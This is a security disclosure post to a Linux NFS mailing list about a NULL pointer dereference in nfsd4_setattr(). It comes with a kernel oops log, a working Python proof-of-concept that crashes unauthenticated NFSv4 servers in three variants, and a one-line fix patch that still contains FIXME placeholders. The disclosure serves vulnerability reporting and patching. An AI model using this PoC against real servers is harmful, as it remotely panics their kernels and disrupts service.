[SECURITY] nfsd: fix null dereference in nfsd4_setattr for deleg timestamp attrs

Nikol Kuklev <[email protected]>
Newsgroups gmane.linux.nfs
Message-ID <CAM4XWym=NREGQ67b-ypADfJwemnF61dNyHp2LVMpkxphE_+dvQ@mail.gmail.com>
HI :)
I hope you're doing well!
I would like to report a remotely triggerable null pointer dereference in
nfsd4_setattr(),
introduced by commit 7e13f4f8d27d ("nfsd: handle delegated timestamps in
SETATTR").

## Bug

When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or
FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr() sets
`deleg_attrs = true` and calls nfs4_preprocess_stateid_op() to validate the
stateid. If the client uses the NFSv4 "one stateid" (0xFFFFFFFF...), the
call
returns nfs_ok without setting the output stid pointer - because
check_special_stateids() handles special stateids and returns early, and the
output nfs4_stid is only set in the `if (s)` block after the `done:` label,
which is skipped when s==NULL.

Back in nfsd4_setattr(), the `if (deleg_attrs)` block then unconditionally
dereferences st->sc_type at line 1253 (offset ~4 from NULL), causing a
kernel
oops.

Relevant code path (fs/nfsd/nfs4proc.c):

    struct nfs4_stid *st = NULL;           // initialized to NULL
    ...
    status = nfs4_preprocess_stateid_op(rqstp, cstate,
            &cstate->current_fh, &setattr->sa_stateid,
            flags, NULL, &st);             // st stays NULL for special
stateid
    if (status)
        goto out_err;

    if (deleg_attrs) {
        status = nfserr_bad_stateid;
        if (st->sc_type & SC_TYPE_DELEG) { // <-- NULL DEREFERENCE when
st==NULL

Why ONE_STATEID always triggers: check_special_stateids() line 7141 returns
nfs_ok unconditionally when ONE_STATEID and (flags & RD_STATE) are both
true.
With FATTR4_WORD2_TIME_DELEG_ACCESS set, flags = WR_STATE | RD_STATE, so
this
path fires regardless of server state.

Trigger (minimal):

    COMPOUND [
        PUTROOTFH,
        SETATTR(
            stateid = 0xFFFFFFFF...FF,    # ONE_STATEID
            bmval   = [0, 0, 0x100000],   # FATTR4_WORD2_TIME_DELEG_ACCESS
            attrs   = nfstime4{0, 0}
        )
    ]

No authentication, delegation, or prior state is required. Any NFSv4 client
can trigger this against a server running kernel >= v6.14.

## Impact

- Kernel null pointer dereference → oops in the nfsd worker thread
- On servers with panic_on_oops=1: full kernel panic and reboot
- Affected: all kernels from v6.14 through current mainline (7.1-dev)
- Note: partially overlapping commit 3952f1cbcbc4 ("nfsd: fix SETATTR
updates
  for delegated timestamps", Jul 2025) fixed timestamp vetting but did not
  address this null dereference

## Fix
Add a null guard before the dereference. Patch attached -
fix-setattr-null-deref.patch.

The semantics are already correct: a non-delegation stateid (including
special
stateids) should return nfserr_bad_stateid. The fix only prevents the crash.

I have a PoC script available if useful for testing.

Thanks,
Nikol
evidence-nfsd-setattr-null-deref.txt (text/plain, 4.1 KB)
FINDING-001: NULL ptr deref in nfsd4_setattr() via TIME_DELEG_ACCESS + special stateid
=======================================================================================

VERDICT: VULNERABLE — kernel NULL pointer dereference confirmed

Kernel:  6.17.8-orbstack-00308-g8f9c941121b1 (ARM64, SMP, PREEMPTLAZY)
Host OS: macOS 25.5.0 / OrbStack
Date:    2026-06-12

Attack
------
PoC:     tools/poc_setattr_null_deref.py --server 127.0.0.1 --port 12049
Trigger: COMPOUND [ PUTROOTFH, SETATTR(ONE_STATEID, {bmval2=0x100000, nfstime4{0,0}}) ]

The PoC sends three variants:
  V1: FATTR4_WORD2_TIME_DELEG_ACCESS (bmval2=0x100000) + ONE_STATEID (0xFF...FF)
  V2: FATTR4_WORD2_TIME_DELEG_MODIFY (bmval2=0x200000) + ONE_STATEID
  V3: FATTR4_WORD2_TIME_DELEG_ACCESS + ZERO_STATEID (0x00...00)

All three triggered kernel panics (OrbStack VM restarted each run).

Kernel Oops (captured from /dev/kmsg on kernel 6.17.8)
-------------------------------------------------------
Unable to handle kernel NULL pointer dereference at virtual address 0000000000000004
Mem abort info:
  ESR = 0x0000000096000007
  EC = 0x25: DABT (current EL), IL = 32 bits
  SET = 0, FnV = 0
  EA = 0, S1PTW = 0
  FSC = 0x07: level 3 translation fault
Data abort info:
  ISV = 0, ISS = 0x00000007, ISS2 = 0x00000000
  CM = 0, WnR = 0, TnD = 0, TagAccess = 0
  GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0
user pgtable: 4k pages, 48-bit VAs, pgdp=00000001171b4000
[0000000000000004] pgd=08000001171d2403, p4d=08000001171d2403, pud=08000001171d3403, pmd=0800000100a91403, pte=0000000000000000
Internal error: Oops: 0000000096000007 [#1]  SMP
Modules linked in:
CPU: 5 UID: 0 PID: 5134 Comm: nfsd Not tainted 6.17.8-orbstack-00308-g8f9c941121b1 #1 PREEMPTLAZY
Hardware name: orbstack,virt (DT)
pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)
pc : nfsd4_setattr+0x9c/0x320
lr : nfsd4_setattr+0x90/0x320
sp : ffff0000d310bc10
x29: ffff0000d310bc60 x28: 0000000000000000 x27: ffffbec0a8869788
x26: ffff0000b4850c28 x25: ffff0000d4879100 x24: 0000000000100000
x23: ffff0000d784a3e0 x22: 0000000000000000 x21: ffff0000d784a3c0
x20: ffff0000b4850800 x19: ffff0000d784c028 x18: 0000000000000004
x17: 000000000000019d x16: 0000000000000001 x15: 0000000000000000
x14: 0000000000000000 x13: 0000000000000000 x12: fffffdffbf55d440
x11: 0000000000000360 x10: ffff0000a7183c00 x9 : 3de2b6752db49600
x8 : 3de2b6752db49600 x7 : 0000000000000000 x6 : ffff0000d310bc18
x5 : 0000000000000000 x4 : 0000000000000030 x3 : ffff0000d784a3c0
x2 : ffff0000d784c028 x1 : ffff0000d784c028 x0 : 0000000000000000
Call trace:
 nfsd4_setattr+0x9c/0x320 (P)
 nfsd4_proc_compound+0xcc/0x140
 nfsd_dispatch+0xb4/0x230
 svc_process_common+0x468/0x5b8
 svc_process+0xd4/0x188
 svc_recv+0x438/0xad0
 nfsd.cold+0x64/0xbc

Oops analysis
-------------
- Fault address: 0x0000000000000004 = offset 4 from NULL
- x0 = 0x0000000000000000 = the NULL 'st' (nfs4_stid*) pointer
- x18 = 0x0000000000000004 = fault VA confirming st->sc_type access
- x24 = 0x0000000000100000 = FATTR4_WORD2_TIME_DELEG_ACCESS bit (deleg_attrs mask)
- pc: nfsd4_setattr+0x9c matches the st->sc_type dereference at
  fs/nfsd/nfs4proc.c line ~1253

struct nfs4_stid layout (fs/nfsd/state.h:112):
  +0: refcount_t sc_count (4 bytes)
  +4: unsigned short sc_type  ← accessed at address NULL+4 = 0x4  ✓

PoC output (Variant 2 triggering crash)
-----------------------------------------
[*] Variant 2: FATTR4_WORD2_TIME_DELEG_MODIFY + ONE_STATEID
    [!!] Connection reset — server likely crashed!

OrbStack VM restarted after each variant (kernel panic with no recovery).

Affected versions
-----------------
Introduced: commit 7e13f4f8d27dc02fb88666f603c53ca749d56f92
            "nfsd: handle delegated timestamps in SETATTR" (Dec 9, 2024)
Partially fixed: commit 3952f1cbcbc4 (Jul 30, 2025) fixed timestamp vetting
                 but did NOT address this null dereference
Unfixed in: kernel 6.17.8 (confirmed) and current mainline 7.1-dev

Attack surface
--------------
Any NFSv4 client with network access to the server.
No authentication, delegation, open file, or prior state required.
Trigger: one COMPOUND RPC with SETATTR + TIME_DELEG attribute + special stateid.
poc_setattr_null_deref.py (text/x-python-script, 12.2 KB)
#!/usr/bin/env python3
"""
NULL pointer dereference in nfsd4_setattr() via TIME_DELEG_ACCESS + ONE_STATEID

Affected code: fs/nfsd/nfs4proc.c, nfsd4_setattr()

Bug:
    When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or
    FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr()
    sets `deleg_attrs = true` and calls nfs4_preprocess_stateid_op() to
    validate the stateid.

    If the client uses the NFSv4 "one stateid" (0xFFFFFF...FF), the function
    dispatches to check_special_stateids(), which for a stateid with both
    WR_STATE and RD_STATE flags returns nfs_ok *without* setting the output
    nfs4_stid pointer. The local variable `st` remains NULL.

    Back in nfsd4_setattr():

        if (deleg_attrs) {
            status = nfserr_bad_stateid;
            if (st->sc_type & SC_TYPE_DELEG) {   // NULL DEREF: st == NULL

    This dereferences NULL (struct offset ~4), triggering a kernel oops.

Root cause:
    check_special_stateids() correctly returns nfs_ok for one_stateid+RD_STATE
    per RFC 7530 §8.2. The problem is that nfsd4_setattr() doesn't guard the
    deleg_attrs block against st==NULL.

Attack vector:
    Any NFSv4 client that can reach the server can trigger this.  No
    authentication, delegations, or prior state required.

Trigger condition:
    COMPOUND [
        PUTROOTFH,
        SETATTR(
            stateid = ONE_STATEID,  // all-0xFF bytes
            attrs   = { FATTR4_WORD2_TIME_DELEG_ACCESS: nfstime4{0,0} }
        )
    ]

Expected result:
    Kernel oops: BUG: kernel NULL pointer dereference, address: 0x00000004
    in nfsd4_setattr (fs/nfsd/nfs4proc.c)

Fix (conceptual):
    In nfsd4_setattr(), guard the delegation attribute block:

        if (deleg_attrs) {
            status = nfserr_bad_stateid;
    +       if (st && st->sc_type & SC_TYPE_DELEG) {
    -       if (st->sc_type & SC_TYPE_DELEG) {
                ...
            }
        }

    Or alternatively, reject special stateids earlier when deleg_attrs is set.

Usage:
    .venv/bin/python tools/poc_setattr_null_deref.py --server 127.0.0.1 --port 2049

    Monitor: ssh root@localhost -p 2224 'dmesg -w | grep -E "BUG|NULL|nfsd"'
"""

import sys
import os
import struct
import argparse
sys.path.insert(0, os.path.dirname(__file__))

from rpc_client import (
    RPCClient, XDRReader,
    xdr_uint, xdr_uint64, xdr_opaque, xdr_string, xdr_bool, auth_null,
)
from nfs4_client import (
    NFS4Client, NFS4Error, NFS4_OK,
    NFS4ERR_BAD_STATEID,
    CompoundBuilder,
    status_name,
)

# ── NFSv4 constants ────────────────────────────────────────────────────────────

OP_SETATTR     = 34
OP_PUTROOTFH   = 24

# Bitmap positions (FATTR4_WORD2 bits)
FATTR4_WORD2_TIME_DELEG_ACCESS = (1 << 20)   # bit 84: FATTR4_TIME_DELEG_ACCESS - 64
FATTR4_WORD2_TIME_DELEG_MODIFY = (1 << 21)   # bit 85: FATTR4_TIME_DELEG_MODIFY - 64

# Special stateids
ZERO_STATEID = b'\x00' * 16   # all zeros: {seqid=0, other=0...0}
ONE_STATEID  = b'\xff' * 16   # all ones:  {seqid=0xFFFFFFFF, other=0xFF...FF}


def encode_one_stateid() -> bytes:
    """Encode the NFSv4 'one stateid' (all-0xFF)."""
    return ONE_STATEID


def encode_zero_stateid() -> bytes:
    """Encode the NFSv4 'zero stateid' (all-0x00)."""
    return ZERO_STATEID


def encode_nfstime4(seconds: int = 0, nseconds: int = 0) -> bytes:
    """Encode nfstime4 = {int64 seconds, uint32 nseconds}."""
    return struct.pack(">qI", seconds, nseconds)  # 12 bytes


def encode_fattr4_bitmap_and_data(word0: int, word1: int, word2: int,
                                   attr_data: bytes) -> bytes:
    """
    Encode fattr4 = {bitmap4, opaque<> attrlist}.
    Bitmap is encoded as an array of uint32s.
    """
    # Determine how many bitmap words to include (trim trailing zeros)
    words = [word0, word1, word2]
    while words and words[-1] == 0:
        words.pop()
    if not words:
        words = [0]  # at least one word

    bitmap = xdr_uint(len(words))
    for w in words:
        bitmap += xdr_uint(w)

    return bitmap + xdr_opaque(attr_data)


def op_putrootfh() -> bytes:
    return xdr_uint(OP_PUTROOTFH)


def op_setattr_time_deleg(stateid: bytes, use_modify_bit: bool = False) -> bytes:
    """
    Encode SETATTR with TIME_DELEG_ACCESS (or MODIFY) attribute and given stateid.

    This is the crash trigger:
        - stateid = ONE_STATEID  →  check_special_stateids returns nfs_ok
        - FATTR4_WORD2_TIME_DELEG_ACCESS in bmval[2]  →  deleg_attrs=True
        - nfsd4_setattr dereferences st->sc_type where st==NULL  →  oops
    """
    assert len(stateid) == 16, "stateid must be 16 bytes"

    if use_modify_bit:
        word2_bit = FATTR4_WORD2_TIME_DELEG_MODIFY
    else:
        word2_bit = FATTR4_WORD2_TIME_DELEG_ACCESS

    attr_data = encode_nfstime4(seconds=0, nseconds=0)
    fattr = encode_fattr4_bitmap_and_data(0, 0, word2_bit, attr_data)

    return xdr_uint(OP_SETATTR) + stateid + fattr


# ── Manual compound builder (bypasses NFS4Client's session layer) ─────────────

def build_compound_v4(ops: list[bytes], tag: str = b"poc") -> bytes:
    """
    Build a raw NFSv4.0 COMPOUND request body.
    NFSv4.0 COMPOUND args:
      opaque<4> tag
      uint32    minorversion = 0
      uint32    argarray_count
      nfs_argop4[] argarray
    """
    ops_data = b"".join(ops)
    op_count = len(ops)

    return (
        xdr_opaque(tag if isinstance(tag, bytes) else tag.encode())
        + xdr_uint(0)           # minorversion = 0
        + xdr_uint(op_count)
        + ops_data
    )


def send_compound(client: RPCClient, ops: list[bytes], tag: str = b"poc") -> bytes:
    """Send raw NFSv4.0 COMPOUND and return reply bytes."""
    body = build_compound_v4(ops, tag)
    # NFS proc=1 is COMPOUND; program/version are set in RPCClient.__init__
    reply = client.call(1, body)
    return reply


# ── Attack variants ───────────────────────────────────────────────────────────

def run_attack(host: str, port: int, verbose: bool = True):
    print(f"[*] Target: {host}:{port}")
    print(f"[*] Bug: nfsd4_setattr NULL ptr deref via TIME_DELEG_ACCESS + ONE_STATEID")
    print()

    client = RPCClient(host, port, program=100003, version=4)
    client.connect()
    print(f"[*] Connected to NFS server")

    results = []

    # ── Variant 1: TIME_DELEG_ACCESS + ONE_STATEID ────────────────────────────
    print("[*] Variant 1: FATTR4_WORD2_TIME_DELEG_ACCESS + ONE_STATEID")
    print("    Expected: kernel oops (NULL ptr deref at nfsd4_setattr:1253)")
    try:
        ops = [
            op_putrootfh(),
            op_setattr_time_deleg(ONE_STATEID, use_modify_bit=False),
        ]
        reply = send_compound(client, ops, tag=b"deleg_null_v1")
        r = XDRReader(reply)
        _status = r.uint()       # COMPOUND status
        _tag = r.opaque()        # tag (length-prefixed, padded)
        _op_count = r.uint()

        # PUTROOTFH result
        _op1 = r.uint()
        putrootfh_status = r.uint()

        # SETATTR result
        _op2 = r.uint()
        setattr_status = r.uint()
        status_str = status_name(setattr_status)

        print(f"    PUTROOTFH: {status_name(putrootfh_status)}")
        print(f"    SETATTR:   {status_str} (0x{setattr_status:08x})")

        if setattr_status == 0:
            print(f"    [!!] SETATTR returned NFS4_OK — unexpected!")
        elif setattr_status == NFS4ERR_BAD_STATEID:   # 10025
            print(f"    [+] Got NFS4ERR_BAD_STATEID — server survived (may be patched)")
        else:
            print(f"    [?] Got status {status_str}")

        results.append(("V1 ACCESS+ONE", setattr_status, "replied"))

    except ConnectionResetError:
        print(f"    [!!] Connection reset — server likely crashed (OOPS triggered)!")
        results.append(("V1 ACCESS+ONE", None, "connection_reset"))
    except Exception as e:
        print(f"    [?] Exception: {e}")
        results.append(("V1 ACCESS+ONE", None, str(e)))

    # ── Variant 2: TIME_DELEG_MODIFY + ONE_STATEID ────────────────────────────
    print()
    print("[*] Variant 2: FATTR4_WORD2_TIME_DELEG_MODIFY + ONE_STATEID")
    try:
        ops = [
            op_putrootfh(),
            op_setattr_time_deleg(ONE_STATEID, use_modify_bit=True),
        ]
        reply = send_compound(client, ops, tag=b"deleg_null_v2")
        r = XDRReader(reply)
        _status = r.uint()
        _tag = r.opaque()
        _op_count = r.uint()
        _op1 = r.uint(); putrootfh_status = r.uint()
        _op2 = r.uint(); setattr_status = r.uint()

        print(f"    SETATTR:   {status_name(setattr_status)} (0x{setattr_status:08x})")
        results.append(("V2 MODIFY+ONE", setattr_status, "replied"))

    except ConnectionResetError:
        print(f"    [!!] Connection reset — server likely crashed!")
        results.append(("V2 MODIFY+ONE", None, "connection_reset"))
    except Exception as e:
        print(f"    [?] Exception: {e}")
        results.append(("V2 MODIFY+ONE", None, str(e)))

    # ── Variant 3: TIME_DELEG_ACCESS + ZERO_STATEID ───────────────────────────
    # Only triggers if no SHARE_DENY_WRITE conflicts on root export
    print()
    print("[*] Variant 3: FATTR4_WORD2_TIME_DELEG_ACCESS + ZERO_STATEID")
    print("    (triggers if no SHARE_DENY_WRITE conflict on root)")
    try:
        ops = [
            op_putrootfh(),
            op_setattr_time_deleg(ZERO_STATEID, use_modify_bit=False),
        ]
        reply = send_compound(client, ops, tag=b"deleg_null_v3")
        r = XDRReader(reply)
        _status = r.uint()
        _tag = r.opaque()
        _op_count = r.uint()
        _op1 = r.uint(); putrootfh_status = r.uint()
        _op2 = r.uint(); setattr_status = r.uint()

        print(f"    SETATTR:   {status_name(setattr_status)} (0x{setattr_status:08x})")
        results.append(("V3 ACCESS+ZERO", setattr_status, "replied"))

    except ConnectionResetError:
        print(f"    [!!] Connection reset — server likely crashed!")
        results.append(("V3 ACCESS+ZERO", None, "connection_reset"))
    except Exception as e:
        print(f"    [?] Exception: {e}")
        results.append(("V3 ACCESS+ZERO", None, str(e)))

    client.disconnect()

    # ── Summary ───────────────────────────────────────────────────────────────
    print()
    print("═" * 60)
    print("  RESULTS")
    print("═" * 60)
    for variant, status, outcome in results:
        if outcome == "connection_reset":
            verdict = "[!!] CRASH — kernel oops likely triggered"
        elif outcome == "replied" and status == 0x00010013:
            verdict = "[+]  NFS4ERR_BAD_STATEID — appears patched or unaffected"
        elif outcome == "replied":
            verdict = f"[?]  Status {status:#010x} — {status_name(status)}"
        else:
            verdict = f"[?]  {outcome}"
        print(f"  {variant:<20}  {verdict}")
    print("═" * 60)
    print()
    print("  If connection resets: check dmesg on the server for:")
    print("  BUG: kernel NULL pointer dereference, address: 0x00000004")
    print("  RIP: nfsd4_setattr+... (fs/nfsd/nfs4proc.c:1253)")
    print()
    print("  Patch: add 'st &&' guard before st->sc_type dereference in")
    print("  nfsd4_setattr() (fs/nfsd/nfs4proc.c line ~1253)")


def main():
    p = argparse.ArgumentParser(
        description="PoC: NULL ptr deref in nfsd4_setattr() via TIME_DELEG_ACCESS")
    p.add_argument("--server", default="127.0.0.1", help="NFS server address")
    p.add_argument("--port", type=int, default=2049, help="NFS port")
    p.add_argument("--verbose", "-v", action="store_true")
    args = p.parse_args()

    try:
        run_attack(args.server, args.port, args.verbose)
    except ConnectionRefusedError:
        print(f"[!] Connection refused — is the NFS server running?", file=sys.stderr)
        print(f"    Start QEMU VM with: bash qemu/run_vm.sh", file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()
fix-nfsd-setattr-null-deref.patch (application/octet-stream, 2 KB)
From: FIXME_AUTHOR_NAME <FIXME_AUTHOR_EMAIL>
Date: Thu, 12 Jun 2026 00:00:00 +0000
Subject: [PATCH] nfsd: fix null dereference in nfsd4_setattr for deleg timestamp attrs

When a SETATTR request includes FATTR4_WORD2_TIME_DELEG_ACCESS or
FATTR4_WORD2_TIME_DELEG_MODIFY in the attribute bitmap, nfsd4_setattr()
sets deleg_attrs=true and calls nfs4_preprocess_stateid_op() to validate
the stateid.

If the client supplies the NFSv4 "one stateid" (all-0xFF bytes),
check_special_stateids() returns nfs_ok without populating the output
nfs4_stid pointer, because the special-stateid path in
nfs4_preprocess_stateid_op() jumps to done: with s==NULL, and the
"if (s)" block that would set *cstid is skipped. The local variable `st`
remains NULL.

Back in nfsd4_setattr(), the if (deleg_attrs) block then unconditionally
dereferences st->sc_type (at offset 4 from NULL), causing a kernel oops.

This is remotely triggerable by any NFSv4 client: send COMPOUND [PUTROOTFH,
SETATTR(ONE_STATEID, {bmval2=FATTR4_WORD2_TIME_DELEG_ACCESS, ...})].
No authentication, delegation, or prior state is required.

Fix by adding a NULL check before the dereference. A special stateid is
not a delegation stateid, so the existing nfserr_bad_stateid return value
is already correct; we only need to guard the pointer dereference itself.

Fixes: 7e13f4f8d27dc02fb88666f603c53ca749d56f92 ("nfsd: handle delegated timestamps in SETATTR")
Cc: [email protected]
Signed-off-by: FIXME_AUTHOR_NAME <FIXME_AUTHOR_EMAIL>
---
 fs/nfsd/nfs4proc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c
index aacd912a5fbe..FIXME_NEW_HASH 100644
--- a/fs/nfsd/nfs4proc.c
+++ b/fs/nfsd/nfs4proc.c
@@ -1251,7 +1251,7 @@ nfsd4_setattr(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate,
 	if (deleg_attrs) {
 		status = nfserr_bad_stateid;
-		if (st->sc_type & SC_TYPE_DELEG) {
+		if (st && (st->sc_type & SC_TYPE_DELEG)) {
 			struct nfs4_delegation *dp = delegstateid(st);

 			/* Only for *_ATTRS_DELEG flavors */
--
2.39.0
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.